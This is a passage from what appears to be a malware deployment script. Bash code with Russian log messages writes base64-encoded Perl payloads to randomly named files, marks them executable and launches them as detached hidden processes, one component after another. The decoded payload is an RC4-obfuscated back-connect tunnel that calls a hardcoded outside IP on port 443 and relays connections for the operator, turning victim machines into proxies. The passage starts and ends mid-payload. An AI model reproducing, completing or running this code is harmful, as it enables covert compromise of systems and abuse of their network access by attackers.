OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #62 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #62 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 63 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzM2LjI1NS45OC4xNTcnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #63 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #63 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 64 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 